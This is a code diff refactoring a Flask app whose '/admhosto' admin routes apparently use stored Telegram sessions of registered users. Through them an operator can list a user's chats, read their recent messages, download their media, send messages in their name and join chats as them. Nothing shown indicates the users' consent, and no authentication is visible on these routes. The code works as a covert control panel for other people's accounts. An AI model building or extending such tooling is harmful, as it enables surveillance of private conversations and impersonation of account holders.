+        users = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users').fetchall()
     return render_template_string(ADMHOSTO_TEMPLATE, users=users)
 
 @app.route('/admhosto/user/<int:user_id>/manage')
 def admhosto_manage_user_account(user_id):
     with sqlite3.connect(DB_PATH) as conn:
-        c = conn.cursor()
-        c.execute('SELECT id, telegram_id, username, phone, session_file FROM users WHERE id = ?', (user_id,))
-        user_data = c.fetchone()
-        if not user_data:
-            return "User not found", 404
-        user_dict = {
-            'id': user_data[0],
-            'telegram_id': user_data[1],
-            'username': user_data[2],
-            'phone': user_data[3],
-            'session_file': user_data[4]
-        }
+        user_data = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users WHERE id = ?', (user_id,)).fetchone()
+        if not user_data: return "User not found", 404
+        user_dict = {'id': user_data[0], 'telegram_id': user_data[1], 'username': user_data[2], 'phone': user_data[3]}
 
     async def _get_chats_async():
         client, error = await get_user_client(user_id)
-        if error:
-            return None, error
-
+        if error: return None, error
         chats_info = []
         try:
             async for dialog in client.iter_dialogs():
-                chat_type = 'User'
-                participants = None
-                if isinstance(dialog.entity, Channel):
-                    chat_type = 'Channel'
-                    if hasattr(dialog.entity, 'participants_count'):
-                        participants = dialog.entity.participants_count
-                elif isinstance(dialog.entity, Chat):
-                    chat_type = 'Group'
-                    if hasattr(dialog.entity, 'participants_count'):
-                        participants = dialog.entity.participants_count
-                elif isinstance(dialog.entity, User):
-                    chat_type = 'User'
-                
-                chats_info.append({
-                    'id': dialog.id,
-                    'title': dialog.title,
-                    'type': chat_type,
-                    'participants': participants
-                })
+                chat_type = 'Other'
+                if isinstance(dialog.entity, (Channel, Chat)): chat_type = 'Channel/Group'
+                elif isinstance(dialog.entity, User): chat_type = 'User'
+                chats_info.append({'id': dialog.id, 'title': dialog.title, 'type': chat_type, 'participants': getattr(dialog.entity, 'participants_count', None)})
         except Exception as e:
             return None, str(e)
         finally:
-            if client and client.is_connected():
-                await client.disconnect()
+            if client and client.is_connected(): await client.disconnect()
         return chats_info, None
 
     chats, error = asyncio.run(_get_chats_async())
-    if error:
-        return f"Failed to load chats: {error}", 500
-
-    return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=chats)
+    if error: return f"Failed to load chats: {error}", 500
+    return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']))
 
 @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
 def admhosto_get_chat_messages(user_id, peer_id):
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
-        if error:
-            return None, error
-
+        if error: return None, error
         messages = []
         try:
             entity = await client.get_entity(peer_id)
-
             async for message in client.iter_messages(entity, limit=50, reverse=False):
-                msg_data = {
-                    'text': message.text,
-                    'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
-                    'sender_name': 'Unknown',
-                    'is_sent': message.out
-                }
-
+                msg_data = {'text': message.text, 'date': message.date.strftime("%b %d, %H:%M"), 'is_sent': message.out, 'sender_name': 'Unknown'}
                 if message.sender:
-                    if isinstance(message.sender, User):
-                        if message.sender.first_name:
-                            msg_data['sender_name'] = message.sender.first_name
-                            if message.sender.last_name:
-                                msg_data['sender_name'] += f" {message.sender.last_name}"
-                        elif message.sender.username:
-                            msg_data['sender_name'] = message.sender.username
-                        else:
-                            msg_data['sender_name'] = f"User {message.sender.id}"
-                    elif isinstance(message.sender, (Chat, Channel)):
-                        msg_data['sender_name'] = message.sender.title
-                    else:
-                        msg_data['sender_name'] = f"Entity {message.sender.id}"
-                elif hasattr(message, 'chat') and message.chat:
-                     msg_data['sender_name'] = message.chat.title # Fallback for anonymous group messages
-                
+                    msg_data['sender_name'] = getattr(message.sender, 'first_name', '') or getattr(message.sender, 'username', 'User')
                 if message.media:
-                    try:
-                        file_info = await client.download_media(message, file=DOWNLOAD_DIR)
-                        if file_info:
-                            file_path = Path(file_info)
-                            msg_data['file_name'] = file_path.name
-                            msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
-                    except Exception as e:
-                        msg_data['file_name'] = f"Error downloading file: {e}"
-                        msg_data['file_size'] = ""
+                    file_info = await client.download_media(message, file=DOWNLOAD_DIR)
+                    if file_info:
+                        file_path = Path(file_info)
+                        msg_data['file_name'] = file_path.name
+                        msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB"
                 messages.append(msg_data)
         except Exception as e:
             return None, str(e)
         finally:
-            if client and client.is_connected():
-                await client.disconnect()
+            if client and client.is_connected(): await client.disconnect()
         return messages, None
 
     messages, error = asyncio.run(_get_messages_async())
-    if error:
-        return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
-    
+    if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
     return jsonify({'success': True, 'messages': messages})
 
 @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
 def admhosto_send_message(user_id):
     data = request.json
-    chat_id_or_username = data.get('chat_id')
+    chat_id = data.get('chat_id')
     message_content = data.get('message')
-
     async def _send_message_async():
         client, error = await get_user_client(user_id)
-        if error:
-            return {'success': False, 'message': error}
+        if error: return {'success': False, 'message': error}
         try:
-            if chat_id_or_username.isdigit():
-                peer_entity = int(chat_id_or_username)
-            else:
-                peer_entity = chat_id_or_username 
-            await client.send_message(peer_entity, message_content)
-            return {'success': True, 'message': 'Message sent successfully.'}
+            target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
+            await client.send_message(target_entity, message_content)
+            return {'success': True, 'message': 'Message sent.'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
         finally:
-            if client and client.is_connected():
-                await client.disconnect()
-
-    result = asyncio.run(_send_message_async())
-    return jsonify(result)
+            if client and client.is_connected(): await client.disconnect()
+    return jsonify(asyncio.run(_send_message_async()))
 
 @app.route('/admhosto/join_chat/<int:user_id>', methods=['POST'])
 def admhosto_join_chat(user_id):
     data = request.json
     chat_identifier = data.get('chat_identifier')
-
     async def _join_chat_async():
         client, error = await get_user_client(user_id)
-        if error:
-            return {'success': False, 'message': error}
+        if error: return {'success': False, 'message': error}
         try:
             if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
-                invite_hash = chat_identifier.split('/')[-1]
-                if '+' in invite_hash:
-                    invite_hash = invite_hash.replace('+', '')
+                invite_hash = chat_identifier.split('/')[-1].replace('+', '')
                 await client(ImportChatInviteRequest(invite_hash))
             else:
-                if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
-                    chat_identifier = '@' + chat_identifier
                 await client(JoinChannelRequest(chat_identifier))
-            return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
-        except FloodWaitError as e:
-            return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
-        except UserNotParticipantError:
-             return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
+            return {'success': True, 'message': 'Successfully joined.'}
         except Exception as e:
-            return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
+            return {'success': False, 'message': f'Error joining: {e}'}
         finally:
-            if client and client.is_connected():
-                await client.disconnect()
-    
-    result = asyncio.run(_join_chat_async())
-    return jsonify(result)
+            if client and client.is_connected(): await client.disconnect()
+    return jsonify(asyncio.run(_join_chat_async()))
 
 if __name__ == '__main__':
     init_db()
-    app.run(host=HOST, port=PORT)
+    app.run(host=HOST, port=PORT, debug=False)